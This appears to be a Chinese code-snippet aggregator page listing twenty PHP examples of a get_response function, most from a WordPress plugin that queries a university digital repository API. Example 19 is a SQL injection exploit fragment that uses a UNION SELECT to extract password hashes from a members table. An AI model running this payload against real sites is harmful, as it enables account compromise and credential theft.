• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP get_response函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中get_response函数的典型用法代码示例。如果您正苦于以下问题:PHP get_response函数的具体用法?PHP get_response怎么用?PHP get_response使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了get_response函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: item_ajax_handler

function item_ajax_handler()
{
    // Handle the ajax request
    check_ajax_referer('item_drs');
    $url = "https://repository.library.northeastern.edu/api/v1/files/";
    if ($_POST['pid']) {
        $url .= $_POST['pid'];
    }
    $data = get_response($url);
    $data = json_decode($data, true);
    if ($data['canonical_object'][0][1] == 'Video File' || $data['canonical_object'][0][1] == 'Audio File') {
        $data['av_pid'] = $data['canonical_object'][0][0];
        $data['av_pid'] = explode("/", $data['av_pid']);
        $data['av_pid'] = end($data['av_pid']);
        $data['encoded_av_pid'] = str_replace(':', '%3A', $data['av_pid']);
        $data['av_dir'] = substr(md5("info:fedora/" . $data['av_pid'] . "/content/content.0"), 0, 2);
        $data['av_type'] = $data['canonical_object'][0][0];
        foreach ($data['content_objects'] as $key => $val) {
            if ($val[1] == 'Master Image') {
                $data['av_poster'] = $val[0];
            }
        }
        if ($data['canonical_object'][0][1] == 'Video File') {
            $data['av_provider'] = 'video';
            $data['av_type'] = "MP4";
        }
        if ($data['canonical_object'][0][1] == 'Audio File') {
            $data['av_provider'] = 'sound';
            $data['av_type'] = "MP3";
        }
    }
    wp_send_json(json_encode($data));
}
开发者ID:sarahjeansweeney,项目名称:drs-toolkit-wp-plugin,代码行数:33,代码来源:item.php


示例2: import_ajax_handler

function import_ajax_handler()
{
    global $data;
    $data = array();
    $data['count'] = 0;
    $data['existing_count'] = 0;
    $data['site_url'] = site_url();
    $data['objects'] = array();
    // global $email;
    // Handle the ajax request
    check_ajax_referer('import_drs');
    $collection_pid = $_POST['pid'];
    $collection_pid = explode("/", $collection_pid);
    $collection_pid = end($collection_pid);
    $url = "https://repository.library.northeastern.edu/api/v1/export/" . $collection_pid . "?per_page=2&page=1";
    $drs_data = get_response($url);
    $json = json_decode($drs_data);
    // $email = '';
    if ($json->pagination->table->total_count > 0) {
        $email .= $json->pagination->table->total_count;
        for ($x = 1; $x <= $json->pagination->table->num_pages; $x++) {
            $url = "https://repository.library.northeastern.edu/api/v1/export/" . $collection_pid . "?per_page=2&page=" . $x;
            $drs_data = get_response($url);
            $json = json_decode($drs_data);
            drstk_get_image_data($json);
        }
    } else {
        $data = json_decode($drs_data);
    }
    wp_send_json(json_encode($data));
}
开发者ID:sarahjeansweeney,项目名称:drs-toolkit-wp-plugin,代码行数:31,代码来源:import.php


示例3: get_this_breadcrumb

function get_this_breadcrumb($breadcrumb_url)
{
    global $breadcrumb_html;
    $breadcrumb_data = get_response($breadcrumb_url);
    $breadcrumb_data = json_decode($breadcrumb_data);
    $doc = $breadcrumb_data->response->response->docs[0];
    parse_this_breadcrumb($doc);
}
开发者ID:sarahjeansweeney,项目名称:drs-toolkit-wp-plugin,代码行数:8,代码来源:item_nojs.php


示例4: main

function main($cids)
{
    $url = 'http://www.789wz.com/Welcome/get_msg';
    foreach ($cids as $cid) {
        $response = get_response($url, $cid);
        acces_log($cid);
    }
    acces_log(date("Y-m-d H:i:s"));
}
开发者ID:linfasfasf,项目名称:yinghemall,代码行数:9,代码来源:update_script.php


示例5: item_admin_ajax_handler

function item_admin_ajax_handler()
{
    $data = array();
    // Handle the ajax request
    check_ajax_referer('item_admin_nonce');
    $url = "https://repository.library.northeastern.edu/api/v1/files/" . $_POST['pid'];
    $data = get_response($url);
    $data = json_decode($data);
    wp_send_json(json_encode($data));
}
开发者ID:Rosefox911,项目名称:drs-toolkit-wp-plugin,代码行数:10,代码来源:item_shortcode.php


示例6: get_item_title

function get_item_title()
{
    global $item_pid, $data, $url;
    $url = "https://repository.library.northeastern.edu/api/v1/files/" . $item_pid;
    $data = get_response($url);
    $data = json_decode($data);
    if (check_for_bad_data()) {
        return false;
    }
    echo $data->mods->Title[0];
}
开发者ID:Rosefox911,项目名称:drs-toolkit-wp-plugin,代码行数:11,代码来源:item.php


示例7: breadcrumb_ajax_handler

function breadcrumb_ajax_handler()
{
    // Handle the ajax request
    $collection = drstk_get_pid();
    check_ajax_referer('breadcrumb_drs');
    $url = "https://repository.library.northeastern.edu/api/v1/search/" . $collection . "?";
    if ($_POST['pid']) {
        $url .= 'f["id"][]=' . $_POST['pid'];
    }
    $data = get_response($url);
    $data = json_decode($data, true);
    $data['site_url'] = site_url();
    wp_send_json(json_encode($data));
}
开发者ID:Rosefox911,项目名称:drs-toolkit-wp-plugin,代码行数:14,代码来源:breadcrumb.php


示例8: browse_ajax_handler

function browse_ajax_handler()
{
    // Handle the ajax request
    global $errors;
    check_ajax_referer('browse_drs');
    $collection = drstk_get_pid();
    if ($collection == '' || $collection == NULL) {
        $data = array('error' => $errors['search']['missing_collection']);
        $data = json_encode($data);
        wp_send_json($data);
        wp_die();
    } elseif ($collection == "https://repository.library.northeastern.edu/collections/neu:1") {
        $data = array('error' => $errors['search']['missing_collection']);
        $data = json_encode($data);
        wp_send_json($data);
        wp_die();
    } else {
        if (isset($_POST['params']['collection'])) {
            $url = "https://repository.library.northeastern.edu/api/v1/search/" . $_POST['params']['collection'] . "?";
        } else {
            $url = "https://repository.library.northeastern.edu/api/v1/search/" . $collection . "?";
        }
        if (isset($_POST['params']['q'])) {
            $url .= "q=" . urlencode(sanitize_text_field($_POST['params']['q']));
        }
        if (isset($_GET['q'])) {
            $url .= "q=" . urlencode(sanitize_text_field($_GET['q']));
        }
        if (isset($_POST['params']['per_page'])) {
            $url .= "&per_page=" . $_POST['params']['per_page'];
        }
        if (isset($_POST['params']['page'])) {
            $url .= "&page=" . $_POST['params']['page'];
        }
        if (isset($_POST['params']['f'])) {
            foreach ($_POST['params']['f'] as $facet => $facet_val) {
                $url .= "&f[" . $facet . "][]=" . urlencode($facet_val);
            }
        }
        if (isset($_POST['params']['sort'])) {
            $url .= "&sort=" . $_POST['params']['sort'];
        }
        $data = get_response($url);
        wp_send_json($data);
        wp_die();
    }
}
开发者ID:thornomad,项目名称:drs-toolkit-wp-plugin,代码行数:47,代码来源:browse.php


示例9: drstk_add_tile_gallery

function drstk_add_tile_gallery()
{
    check_ajax_referer('tile_ajax_nonce');
    $col_pid = drstk_get_pid();
    $url = "https://repository.library.northeastern.edu/api/v1/search/" . $col_pid . "?per_page=20";
    if ($_POST['params']['q']) {
        $url .= "&q=" . urlencode(sanitize_text_field($_POST['params']['q']));
    }
    if ($_POST['params']['page']) {
        $url .= "&page=" . $_POST['params']['page'];
    }
    $data = get_response($url);
    $json = json_decode($data);
    if ($json->error) {
        wp_send_json(json_encode("There was an error: " . $json->error));
        return;
    }
    wp_send_json($data);
}
开发者ID:sarahjeansweeney,项目名称:drs-toolkit-wp-plugin,代码行数:19,代码来源:shortcodes.php


示例10: browse_ajax_handler

function browse_ajax_handler()
{
    // Handle the ajax request
    check_ajax_referer('browse_drs');
    $collection = drstk_get_pid();
    if ($collection == '' || $collection == NULL) {
        $data = array('error' => 'Please enter a correct collection or community id in order to configure the search and browse functionality. Please proceed to /wp-admin to enter a Collection id');
        $data = json_encode($data);
        wp_send_json($data);
    } elseif ($collection == "https://repository.library.northeastern.edu/collections/neu:1") {
        $data = array('error' => 'Please enter a correct collection or community id in order to configure the search and browse functionality. Please proceed to /wp-admin to enter a Collection id');
        $data = json_encode($data);
        wp_send_json($data);
    } else {
        if ($_POST['params']['collection']) {
            $url = "https://repository.library.northeastern.edu/api/v1/search/" . $_POST['params']['collection'] . "?";
        } else {
            $url = "https://repository.library.northeastern.edu/api/v1/search/" . $collection . "?";
        }
        if ($_POST['params']['q']) {
            $url .= "q=" . urlencode(sanitize_text_field($_POST['params']['q']));
        }
        if ($_GET['q']) {
            $url .= "q=" . urlencode(sanitize_text_field($_GET['q']));
        }
        if ($_POST['params']['per_page']) {
            $url .= "&per_page=" . $_POST['params']['per_page'];
        }
        if ($_POST['params']['page']) {
            $url .= "&page=" . $_POST['params']['page'];
        }
        if ($_POST['params']['f']) {
            foreach ($_POST['params']['f'] as $facet => $facet_val) {
                $url .= "&f[" . $facet . "][]=" . urlencode($facet_val);
            }
        }
        if ($_POST['params']['sort']) {
            $url .= "&sort=" . $_POST['params']['sort'];
        }
        $data = get_response($url);
        wp_send_json($data);
    }
}
开发者ID:sarahjeansweeney,项目名称:drs-toolkit-wp-plugin,代码行数:43,代码来源:browse.php


示例11: get_json_data_from_neu_item

function get_json_data_from_neu_item()
{
    check_ajax_referer('item_admin_nonce');
    // The $_REQUEST contains all the data sent via ajax
    if (isset($_REQUEST)) {
        $item = $_REQUEST['item'];
        //Setting the correct URL
        $url = "https://repository.library.northeastern.edu/api/v1/files/" . $item;
        //Adding response to data
        $data = get_response($url);
        $json = json_decode($data);
        if (isset($json->error)) {
            wp_send_json(json_encode("There was an error: " . $json->error));
            return;
        }
        //returning json
        echo wp_send_json($json);
        // debugging purposes
        // print_r($_REQUEST);
    }
    die;
}
开发者ID:thornomad,项目名称:drs-toolkit-wp-plugin,代码行数:22,代码来源:shortcodes.php


示例12: get_response

<?php

function get_response($URL, $context)
{
    /* Initializing CURL */
    $curlHandle = curl_init();
    /* The URL to be downloaded is set */
    curl_setopt($curlHandle, CURLOPT_URL, $URL);
    curl_setopt($curlHandle, CURLOPT_HEADER, false);
    curl_setopt($curlHandle, CURLOPT_HTTPHEADER, array("Content-Type: text/xml"));
    curl_setopt($curlHandle, CURLOPT_POSTFIELDS, $context);
    curl_setopt($curlHandle, CURLOPT_RETURNTRANSFER, true);
    /* Now execute the CURL, download the URL specified */
    $response = curl_exec($curlHandle);
    return $response;
}
$data = array('title' => 'abc', 'content' => 'Testing', 'status' => '4', 'date_time' => time());
$_json = json_encode($data);
echo get_response('http://127.0.0.1/dev/jd/github/wp01/insert_data.php', $_json);
开发者ID:amep-lotus,项目名称:wp01,代码行数:19,代码来源:requester.php


示例13: drstk_tiles

function drstk_tiles($atts)
{
    $imgs = explode(", ", $atts['id']);
    $img_html = "";
    foreach ($imgs as $img) {
        $url = "https://repository.library.northeastern.edu/api/v1/files/" . $img;
        $data = get_response($url);
        $data = json_decode($data);
        $type = $atts['type'];
        if (!$data->error) {
            $pid = $data->pid;
            if (isset($atts['image-size'])) {
                $num = $atts['image-size'] - 1;
            } else {
                $num = 4;
            }
            $thumbnail = $data->thumbnails[$num];
            if (isset($atts['metadata'])) {
                $img_metadata = '';
                $metadata = explode(",", $atts['metadata']);
                foreach ($metadata as $field) {
                    $this_field = $data->mods->{$field};
                    if (isset($this_field[0])) {
                        $img_metadata .= $this_field[0] . "<br/>";
                    }
                }
            }
            if ($type == 'pinterest') {
                $img_html .= "<div class='brick'><a href='" . site_url() . "/item/" . $pid . "'><img src='" . $thumbnail . "'></a><div class='info'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>";
            }
            if ($type == 'even-row' || $type == 'square') {
                $img_html .= "<div class='cell' data-thumbnail='" . $thumbnail . "'><div class='info'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>";
            }
            $img_html .= "<div class='hidden'>";
            $meta = $data->mods;
            foreach ($meta as $field) {
                if (is_array($field)) {
                    foreach ($field as $field_val) {
                        $img_html .= $field_val . "<br/>";
                    }
                } else {
                    $img_html .= $field[0] . "<br/>";
                }
            }
            $img_html .= "</div>";
            $img_html .= "</div></div>";
        } else {
            $img_html = "There was an error";
        }
    }
    $shortcode = "<div class='freewall' id='freewall' data-type='" . $type . "'";
    if (isset($atts['cell-height'])) {
        $shortcode .= " data-cell-height='" . $atts['cell-height'] . "'";
    } else {
        $shortcode .= " data-cell-height='200'";
    }
    if (isset($atts['cell-width'])) {
        $shortcode .= " data-cell-width='" . $atts['cell-width'] . "'";
    } else {
        $shortcode .= " data-cell-width='200'";
    }
    if (isset($atts['text-align'])) {
        $shortcode .= " data-text-align='" . $atts['text-align'] . "'";
    } else {
        $shortcode .= " data-text-align='center'";
    }
    $shortcode .= ">" . $img_html . "</div>";
    return $shortcode;
}
开发者ID:sarahjeansweeney,项目名称:drs-toolkit-wp-plugin,代码行数:69,代码来源:tiles_shortcode.php


示例14: list

<?php

require "settings.php";
require "functions.php";
// Split the variable into two, $domain & $port.
list($domain, $port) = filter_domain($_GET["domain"]);
// Check the site and get the response code.
$data = get_response($domain, $port);
// Caluate and format the time taken to connect.
$time = round($data["time"], 3);
$id = gen_id($data);
$title = gen_title($id, $domain);
$html = gen_html($id, $domain, $port, $time, $data["code"]);
?>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>

    <title><?php 
echo $title . " // isitup.org";
// display the dynamic title
?>
</title>

    <!-- Hi r/ProgrammerHumor :wave:! -->

    <!-- Meta Info -->
    <meta name="description" content="The availability results for <?php 
echo $domain;
?>
开发者ID:Cgorton48,项目名称:isitup,代码行数:31,代码来源:check.php


示例15: get_response

<?php

/*
 * API Pública educ.ar
 *  
 * Ejemplo de llamado a endpoint: Obtención de capitulos de una serie
 * 
 */
$service_url = 'https://labs.educ.ar/1.0/videos';
$api_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$fields = '*';
$filters = ['serie' => 'Ciencia vs. Ficción'];
$params = ['app_key' => $api_key, 'fields' => $fields, 'filters' => $filters, 'pretty' => true, 'limit' => 50];
function get_response($url)
{
    $options = array(CURLOPT_RETURNTRANSFER => false, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 10, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120);
    $url = str_replace(" ", "%20", $url);
    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $content = curl_exec($ch);
    curl_close($ch);
    return $content;
}
if (!function_exists('curl_version')) {
    die('Se necesita tener instalada la extensión cURL');
}
$request = $service_url . '/' . json_encode($params, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
echo $request . "\n";
$response = get_response($request);
echo $response;
开发者ID:educarlabs,项目名称:apibelgrano,代码行数:30,代码来源:capitulos_de_una_serie.php


示例16: drstk_collection_playlist

function drstk_collection_playlist($atts)
{
    $cache = get_transient(md5('PREFIX' . serialize($atts)));
    if ($cache) {
        return $cache;
    }
    $collection = explode(', ', $atts['id']);
    $playlists = '';
    if (isset($atts['height'])) {
        $height = $atts['height'];
    } else {
        $height = '270';
    }
    if (isset($atts['width'])) {
        $width = $atts['width'];
    } else {
        $width = '100%';
    }
    foreach ($collection as $video) {
        $url = "https://repository.library.northeastern.edu/api/v1/files/" . $video;
        $data = get_response($url);
        $data = json_decode($data);
        $poster;
        if (!isset($data->error)) {
            $poster[] = $data->thumbnails[4];
            $this_poster = $data->thumbnails[4];
            $title = $data->mods->Title[0];
            foreach ($data->canonical_object as $key => $val) {
                $pid = $key;
                $pid = explode("/", $pid);
                $pid = end($pid);
                $encoded = str_replace(':', '%3A', $pid);
                $dir = substr(md5("info:fedora/" . $pid . "/content/content.0"), 0, 2);
                if ($val == 'Audio File') {
                    $rtmp = 'rtmp://libwowza.neu.edu:1935/vod/_definst_/MP3:datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/info%3Afedora%2F' . $encoded . '%2Fcontent%2Fcontent.0';
                    $playlist = 'http://libwowza.neu.edu:1935/vod/_definst_/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/MP3:' . urlencode("info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0") . '/playlist.m3u8';
                    $type = 'MP3';
                    $provider = 'audio';
                }
                if ($val == 'Video File') {
                    $rtmp = 'rtmp://libwowza.neu.edu:1935/vod/_definst_/MP4:datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/info%3Afedora%2F' . $encoded . '%2Fcontent%2Fcontent.0';
                    $playlist = 'http://libwowza.neu.edu:1935/vod/_definst_/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/MP4:' . urlencode("info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0") . '/playlist.m3u8';
                    $type = 'MP4';
                    $provider = 'video';
                }
            }
            $download = 'download';
            $playlists .= '{ sources: [ { file: "' . $rtmp . '"},';
            $playlists .= '{ file: "' . $playlist . '"} ], image: "' . $this_poster . '", title: "' . $title . '" },';
        } else {
            return $errors['shortcodes']['fail'];
        }
    }
    $cache_output = '<div id="drs-item-video">
        <img style="width: 100%;" src="' . $poster[0] . '" />
      </div>
      <script type="text/javascript">
        jwplayer.key="gi5wgpwDtAXG4xdj1uuW/NyMsECyiATOBxEO7A==";
        jwplayer("drs-item-video").setup({
          width: "' . $width . '",
          height: "' . $height . '",
          rtmp: { bufferlength: 5 } ,
          fallback: true,
              listbar: {
                position: "right",
                size: 250,
                layout: "basic"
              },
          playlist: [ ' . $playlists . ']
    });</script>';
    $cache_time = 1000;
    set_transient(md5('PREFIX' . serialize($atts)), $cache_output, $cache_time * 60);
    return $cache_output;
}
开发者ID:Rosefox911,项目名称:drs-toolkit-wp-plugin,代码行数:74,代码来源:video_shortcode.php


示例17: drstk_tiles

function drstk_tiles($atts)
{
    global $errors;
    $cache = get_transient(md5('PREFIX' . serialize($atts)));
    if ($cache) {
        return $cache;
    }
    $imgs = explode(", ", $atts['id']);
    $img_html = "";
    foreach ($imgs as $img) {
        $url = "https://repository.library.northeastern.edu/api/v1/files/" . $img;
        $data = get_response($url);
        $data = json_decode($data);
        $type = $atts['type'];
        if (!isset($data->error)) {
            $pid = $data->pid;
            if (isset($atts['image-size'])) {
                $num = $atts['image-size'] - 1;
            } else {
                $num = 4;
            }
            $thumbnail = $data->thumbnails[$num];
            if (isset($atts['metadata'])) {
                $img_metadata = '';
                $metadata = explode(",", $atts['metadata']);
                foreach ($metadata as $field) {
                    $this_field = $data->mods->{$field};
                    if (isset($this_field[0])) {
                        $img_metadata .= $this_field[0] . "<br/>";
                    }
                }
            }
            if ($type == 'pinterest-below' || $type == 'pinterest') {
                $img_html .= "<div class='brick'><a href='" . site_url() . "/item/" . $pid . "'><img src='" . $thumbnail . "'></a><div class='info wp-caption-text'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>";
            }
            if ($type == 'pinterest-hover') {
                $img_html .= "<div class='brick brick-hover'><img src='" . $thumbnail . "' style='width:100%'><div class='info wp-caption-text'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>";
            }
            if ($type == 'even-row' || $type == 'square') {
                $img_html .= "<div class='cell' data-thumbnail='" . $thumbnail . "'><div class='info wp-caption-text'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>";
            }
            $img_html .= "<div class=\"hidden\">";
            $meta = $data->mods;
            foreach ($meta as $field) {
                if (is_array($field)) {
                    foreach ($field as $field_val) {
                        $img_html .= $field_val . "<br/>";
                    }
                } else {
                    $img_html .= $field[0] . "<br/>";
                }
            }
            $img_html .= "</div>";
            $img_html .= "</div></div>";
        } else {
            $img_html = $errors['shortcodes']['fail'];
        }
    }
    $shortcode = "<div class='freewall' id='freewall' data-type='" . $type . "'";
    if (isset($atts['cell-height'])) {
        $shortcode .= " data-cell-height='" . $atts['cell-height'] . "'";
    } else {
        $shortcode .= " data-cell-height='200'";
    }
    if (isset($atts['cell-width'])) {
        $shortcode .= " data-cell-width='" . $atts['cell-width'] . "'";
    } else {
        $shortcode .= " data-cell-width='200'";
    }
    if (isset($atts['text-align'])) {
        $shortcode .= " data-text-align='" . $atts['text-align'] . "'";
    } else {
        $shortcode .= " data-text-align='center'";
    }
    $shortcode .= ">" . $img_html . "</div>";
    $cache_output = $shortcode;
    $cache_time = 1000;
    set_transient(md5('PREFIX' . serialize($atts)), $cache_output, $cache_time * 60);
    return $shortcode;
}
开发者ID:Rosefox911,项目名称:drs-toolkit-wp-plugin,代码行数:80,代码来源:tiles_shortcode.php


示例18: urlencode

    $say = urlencode($_REQUEST['say']);
} else {
    $say = "hi";
    $convo_id = session_id();
}
$response = '';
$responseXML = '';
$bot_id = 1;
$format = "xml";
$thisFileURL = $_SERVER['SCRIPT_NAME'];
$chatbotURLpath = str_replace('/gui/xml/index.php', '/chatbot', $thisFileURL);
define("CHATBOT_URL_PATH", $chatbotURLpath);
$send = "http://" . $_SERVER['HTTP_HOST'] . CHATBOT_URL_PATH . "/conversation_start.php?say={$say}&convo_id={$convo_id}&bot_id={$bot_id}&format={$format}";
#$X = file_put_contents('URL.txt', "$send\r\n",FILE_APPEND);
#die();
$sXML = trim(get_response($send));
//just output as an example
$responseXML = htmlentities($sXML);
$responseXML = str_replace("\n\t", "<br/>        ", $responseXML);
$responseXML = str_replace("\n", "<br/>   ", $responseXML);
$xml = new SimpleXMLElement($sXML);
$count = 0;
foreach ($xml->children() as $child) {
    $childName = $child->getName();
    switch ($childName) {
        case 'user_name':
            $user_name = $child;
            break;
        case 'bot_name':
            $bot_name = $child;
            break;
开发者ID:massyao,项目名称:chatbot,代码行数:31,代码来源:index.php


示例19: fsockopen

    $socket = fsockopen(gethostbyname($host), 80);
    if (!$socket) {
        echo "[-]Error contacting {$host}.\r\n";
        exit;
    }
    fputs($socket, $packet);
    $response = '';
    while (!feof($socket)) {
        $response .= fgets($socket);
    }
    fclose($socket);
}
$host = $argv[1];
$path = $argv[2];
$id = $argv[3];
$packet = "GET " . $path . "index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=" . $id . "/*";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Connection: Close\r\n\r\n";
get_response($packet);
if (strstr($response, "x0kster")) {
    $hash = explode("x0kster", $response, 32);
    echo "[+]Ok, the hash is : {$hash['1']}\r\n";
    die;
} else {
    echo "[-]Exploit filed, maybe fixed or incorrect id.\r\n";
    die;
}
?>

# milw0rm.com [2008-01-06]
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:30,代码来源:4853.php


示例20: construct_url

 } else {
     $text = '';
 }
 if ($doctype == 'witness' and $divtype == 'title') {
     echo "<br /><br /><span style='color: green; font-weight: bold;'>SKIPPING '" . $filename . "' (links to a .inc.php file and is not needed)</span>";
     $not_needed++;
     continue;
 }
 // Determine the URL of the file on the website.
 $url = construct_url($filename, $divtype, $doctype);
 // Determine whether the requested URL exists.
 $code = get_response($url);
 // If response code is not 200 or 404, then we know there was a connection error.
 // If this is the case, then retry getting the document again.
 if ($code != '200' and $code != '404') {
     $code = get_response($url);
 }
 if ($code == '404') {
     echo "<br /><br /><span style='color: red; font-weight: bold;'>FAILED '" . $filename . "' (missing)</span>";
     $missing_count++;
     continue;
 } elseif ($code != '200') {
     echo "<br /><br /><span style='color: red; font-weight: bold;'>FAILED '" . $filename . "' (could not connect to the server)</span>";
     $connectivity_error++;
     continue;
 }
 // Constrcut an SQL query to insert the document into the MySQL database.
 $insert = "INSERT INTO `" . mysql_real_escape_string($database) . "`.`documents` (\n\t\t\t`title`,\n\t\t\t`doctype`,\n\t\t\t`divtype`,\n\t\t\t`subtype`,\n\t\t\t`rhyme`,\n\t\t\t`meter`,\n\t\t\t`ispoem`,\n\t\t\t`text`,\n\t\t\t`url`\n\t\t) VALUES (\n\t\t\t'" . mysql_real_escape_string($title) . "',\n\t\t\t'" . mysql_real_escape_string($doctype) . "',\n\t\t\t'" . mysql_real_escape_string($divtype) . "',\n\t\t\t'" . mysql_real_escape_string($subtype) . "',\n\t\t\t'" . mysql_real_escape_string($rhyme) . "',\n\t\t\t'" . mysql_real_escape_string($meter) . "',\n\t\t\t'" . mysql_real_escape_string($ispoem) . "',\n\t\t\t'" . mysql_real_escape_string($text) . "',\n\t\t\t'" . mysql_real_escape_string($url) . "'\n\t\t);";
 // Perform the mysql query.
 if (mysql_query($insert)) {
     echo "<br /><br /><span style='color: green; font-weight: bold;'>SUCCESS: '" . $filename . "'</span>";
开发者ID:Quintinium,项目名称:RuskinSE,代码行数:31,代码来源:update.php



注:本文中的get_response函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP get_rest_url函数代码示例发布时间:2022-05-15
下一篇:
PHP get_resource_types函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap